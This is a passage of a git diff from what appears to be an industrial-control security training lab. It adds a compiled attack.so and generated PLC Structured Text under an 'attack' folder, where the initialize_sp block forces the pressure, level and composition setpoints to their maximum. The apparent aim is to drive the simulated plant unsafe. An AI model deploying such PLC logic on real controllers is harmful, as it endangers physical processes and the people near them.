+367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : 